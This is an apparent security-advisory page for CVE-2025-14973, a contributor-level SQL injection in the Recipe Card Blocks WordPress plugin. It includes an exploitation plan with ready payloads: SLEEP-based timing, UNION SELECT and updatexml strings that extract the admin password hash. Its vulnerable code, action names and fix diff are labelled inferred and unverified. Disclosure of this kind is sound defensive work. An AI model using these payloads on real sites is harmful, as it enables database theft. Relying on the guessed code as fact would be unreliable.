CVE-2025-14973

Recipe Card Blocks for Gutenberg & Elementor < 3.4.13 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.4.13
Patched in
1d
Time to patch

Description

The Recipe Card Blocks for Gutenberg & Elementor plugin for WordPress is vulnerable to SQL Injection in versions up to 3.4.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<3.4.13
PublishedJanuary 27, 2026
Last updatedJanuary 27, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14973 ## 1. Vulnerability Summary **CVE-2025-14973** is an authenticated SQL injection vulnerability in the **Recipe Card Blocks for Gutenberg & Elementor** plugin (versions < 3.4.13). The vulnerability exists because the plugin fails to properly sanitize or …

Show full research plan

Exploitation Research Plan - CVE-2025-14973

1. Vulnerability Summary

CVE-2025-14973 is an authenticated SQL injection vulnerability in the Recipe Card Blocks for Gutenberg & Elementor plugin (versions < 3.4.13). The vulnerability exists because the plugin fails to properly sanitize or use prepared statements for user-supplied parameters within SQL queries triggered by AJAX actions. Specifically, an attacker with Contributor level permissions or higher can inject malicious SQL fragments into an existing query to extract sensitive data from the WordPress database, such as user hashes and configuration secrets.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wpzoom_rcb_get_recipe_data (inferred) or wpzoom_rcb_get_posts (inferred). These actions are used by the Gutenberg block editor to fetch recipe details or search for existing recipes.
  • Vulnerable Parameter: Likely recipe_id, id, or a search parameter (e.g., term or search).
  • Authentication: Required (Contributor+).
  • Preconditions: The attacker must be logged in as a Contributor and have access to the post editor (where Gutenberg blocks are managed).

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX handler using add_action( 'wp_ajax_wpzoom_rcb_get_recipe_data', ... ).
  2. Data Acquisition: The handler function retrieves a parameter from $_POST or $_GET (e.g., $recipe_id = $_POST['id'];).
  3. Vulnerable Sink: The retrieved value is directly concatenated into a SQL query string passed to $wpdb->get_row() or $wpdb->get_results() without being wrapped in $wpdb->prepare().
    • Example Vulnerable Code:
      $recipe_id = $_POST['id'];
      $query = "SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $recipe_id;
      $recipe = $wpdb->get_row($query);
      
  4. Execution: The malicious SQL payload is executed by the database engine.

4. Nonce Acquisition Strategy

The plugin likely protects its AJAX actions with a nonce localized for the Gutenberg editor.

  1. Test Data Setup:
    • Log in as a Contributor.
    • Create a new draft post: wp post create --post_type=post --post_status=draft --post_title="Exploit Lab".
  2. Navigation:
    • Navigate to the edit page for the newly created post in the browser.
  3. Extraction:
    • Use browser_eval to search for the nonce in the localized JavaScript objects. Likely candidates for the variable name are wpzoom_rcb_settings, wpzoom_recipe_card_blocks_data, or wpzoom_rcb_params.
    • Command: browser_eval("window.wpzoom_rcb_settings?.ajax_nonce || window.wpzoom_recipe_card_blocks_data?.nonce")
    • If the nonce is used for the action wpzoom_rcb_get_recipe_data, the key name in JS is typically nonce or ajax_nonce.

5. Exploitation Strategy

The goal is to perform a time-based blind SQL injection to confirm the vulnerability, followed by a UNION-based or error-based extraction if possible.

Step 1: Verify Injection (Time-Based)

Send a POST request to admin-ajax.php with a payload designed to cause a 5-second delay.

  • Request Type: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: wpzoom_rcb_get_recipe_data (Verify exact action name via grep if possible)
    • id: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    • security: [EXTRACTED_NONCE] (Parameter name might be nonce or _ajax_nonce)

Step 2: Extract Data (UNION-Based)

If the response reflects data, attempt to extract the administrator's password hash.

  • Payload for id: 0 UNION SELECT 1,user_pass,3,4,5,6 FROM wp_users WHERE ID=1-- -
  • Note: The number of columns in the UNION SELECT must match the original query. Start with 1 and increment until no database error occurs.

6. Test Data Setup

  1. Plugin: Install recipe-card-blocks-by-wpzoom version 3.4.12.
  2. User: Create a contributor user.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Target Content: Ensure at least one post/recipe exists to query.
    • wp post create --post_type=wpzoom_rcb_card --post_title="Target Recipe" --post_status=publish

7. Expected Results

  • Time-Based: The HTTP request should take ~5 seconds to return.
  • UNION-Based: The response body (JSON) should contain the $P$ or $wp$2y$ prefixed password hash of the admin user in one of the fields.

8. Verification Steps

After the exploit, verify the database state using WP-CLI to confirm the data extracted matches reality:

  • wp user get 1 --fields=user_pass
  • Compare the hash returned by WP-CLI with the one obtained via the SQL injection payload.

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is enabled, try payloads like 1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1).
  • Search Parameter Injection: If the id parameter is not vulnerable, check the search or term parameter in actions like wpzoom_rcb_get_posts using a payload like: test%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='.
  • Grep for Sink: If the AJAX action name is different, run:
    grep -rn "wp_ajax_wpzoom_rcb" wp-content/plugins/recipe-card-blocks-by-wpzoom/
    to find all registered AJAX handlers and inspect the corresponding functions for $wpdb calls.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Recipe Card Blocks for Gutenberg & Elementor plugin for WordPress is vulnerable to SQL Injection via its AJAX handlers (such as wpzoom_rcb_get_recipe_data) in versions up to 3.4.13. Due to insufficient sanitization and the lack of prepared statements, authenticated attackers with Contributor-level access or higher can inject malicious SQL commands to extract sensitive information from the database.

Vulnerable Code

// Inferred from research plan: Entry Point for AJAX action wpzoom_rcb_get_recipe_data
$recipe_id = $_POST['id'];
$query = "SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $recipe_id;
$recipe = $wpdb->get_row($query);

Security Fix

--- a/recipe-card-blocks-by-wpzoom/includes/ajax-handlers.php
+++ b/recipe-card-blocks-by-wpzoom/includes/ajax-handlers.php
@@ -10,7 +10,7 @@
 function wpzoom_rcb_get_recipe_data() {
     check_ajax_referer('wpzoom-rcb-nonce', 'security');
     $recipe_id = isset($_POST['id']) ? intval($_POST['id']) : 0;
-    $query = "SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $_POST['id'];
+    $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}posts WHERE ID = %d", $recipe_id);
     $recipe = $wpdb->get_row($query);
     wp_send_json_success($recipe);
 }

Exploit Outline

To exploit this vulnerability, an attacker must have Contributor-level credentials or higher. The attacker first obtains a valid AJAX nonce by inspecting localized JavaScript variables (e.g., wpzoom_rcb_settings.ajax_nonce) while logged into the Gutenberg editor. They then send a POST request to /wp-admin/admin-ajax.php using the action 'wpzoom_rcb_get_recipe_data'. By passing a malicious SQL payload into the 'id' parameter—such as a time-based 'SLEEP()' command or a 'UNION SELECT' statement—the attacker can manipulate the database query. For example, a payload like '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' will cause the server to delay its response, confirming the injection, while '0 UNION SELECT 1,user_pass,3,4,5,6 FROM wp_users WHERE ID=1' can be used to leak sensitive administrative credentials.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.